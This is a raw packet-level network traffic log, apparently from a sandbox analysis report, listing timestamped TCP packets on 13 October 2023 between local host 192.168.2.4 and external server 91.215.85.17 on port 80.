Oct 13, 2023 16:06:19.664762974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664829016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664866924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664896011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664913893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664949894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664974928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665064096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665102959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665148973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665210009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665251970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665273905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665347099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665380955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665386915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665478945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665513039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665556908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665676117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665713072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665719032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665787935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665832043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.665859938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665958881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.665996075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666007996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666089058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666125059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666146040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666234016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666271925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666306973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666359901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666383028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666399956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666452885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666491032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666517973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666557074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666593075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666621923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666660070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666695118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666771889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666842937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666878939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.666903973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.666987896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667026043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667045116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667105913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667140961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667186022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667254925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667290926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667320967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667385101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667418957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667447090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667514086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667550087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667550087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667608976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667655945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667721033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667818069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667851925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.667879105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667943954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.667978048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668001890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668062925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668114901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668118954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668154001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668193102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668210983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668281078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668320894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668343067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668379068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668430090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668456078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668514967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668521881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668550014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668550014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668632984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668652058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668668032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668682098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668735027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668762922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668770075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668812037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668829918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668844938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668859959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668896914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.668914080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668935061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.668966055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669008970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669059038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669095039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669122934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669182062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669218063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669236898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669317961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669354916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669368029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669434071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669469118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669485092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669557095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669590950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669636965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669725895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669765949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669841051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669934988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.669971943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.669998884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670120001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670155048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.670197010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670291901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670325041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.670368910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670464993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670502901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.670531034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670613050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670665026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.670738935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670814037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670849085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.670892000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.670979023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671015024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671056986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671109915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671144009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671154022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671225071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671261072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671334028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671396017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671435118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671463013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671556950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671591997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671623945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671715021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671753883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671823025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671900988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.671936035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.671962976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672065973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672103882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672147989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672234058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672302008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672332048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672406912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672444105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672472954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672605038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672646999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672714949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672774076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672810078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672852039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672939062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.672976017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.672988892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673053980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673093081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673099041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673161030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673199892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673234940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673332930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673367977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673407078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673507929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673526049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673543930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673587084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673624039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673695087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673765898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673801899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673814058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673837900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.673882961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.673913002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674004078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674040079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674067974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674102068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674140930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674180031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674242020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674278975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674297094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674366951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674401999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674416065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674458981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674501896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674514055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674576044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674616098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674653053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674699068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674698114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674736977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674773932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674823999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674865007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.674886942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674956083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.674990892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675008059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675061941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675091982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675096989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675132036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675167084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675220013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675263882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675301075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675335884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675369024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675405979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675457954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675570011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675601006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675635099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675681114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675714016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675721884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675787926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675822973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675832033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675884008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.675920010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.675955057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676001072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676033974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676048040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676114082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676150084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676155090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676235914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676268101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676268101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676318884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676353931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676378965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676435947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676470041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676490068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676568985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676600933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676629066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676742077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676775932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676804066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676903009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.676938057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.676947117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677016973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677047968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677067995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677134037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677151918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677165031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677237988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677272081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677300930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677412987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677443981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677508116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677526951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677557945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677655935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677756071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677793026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677819014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677875042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677911043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.677937984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677959919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.677992105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678035975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678087950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678121090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678147078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678209066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678227901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678241014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678320885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678363085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678416967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678417921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678467035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678488970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678512096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678575039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678575993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678651094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678690910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678719044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678755045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678831100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678852081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678869009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.678904057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.678992033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679044008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679075956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679095030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679172993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679204941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679234028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679320097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679358959 CEST	49762	80	192.168.2.4	91.215.85.17
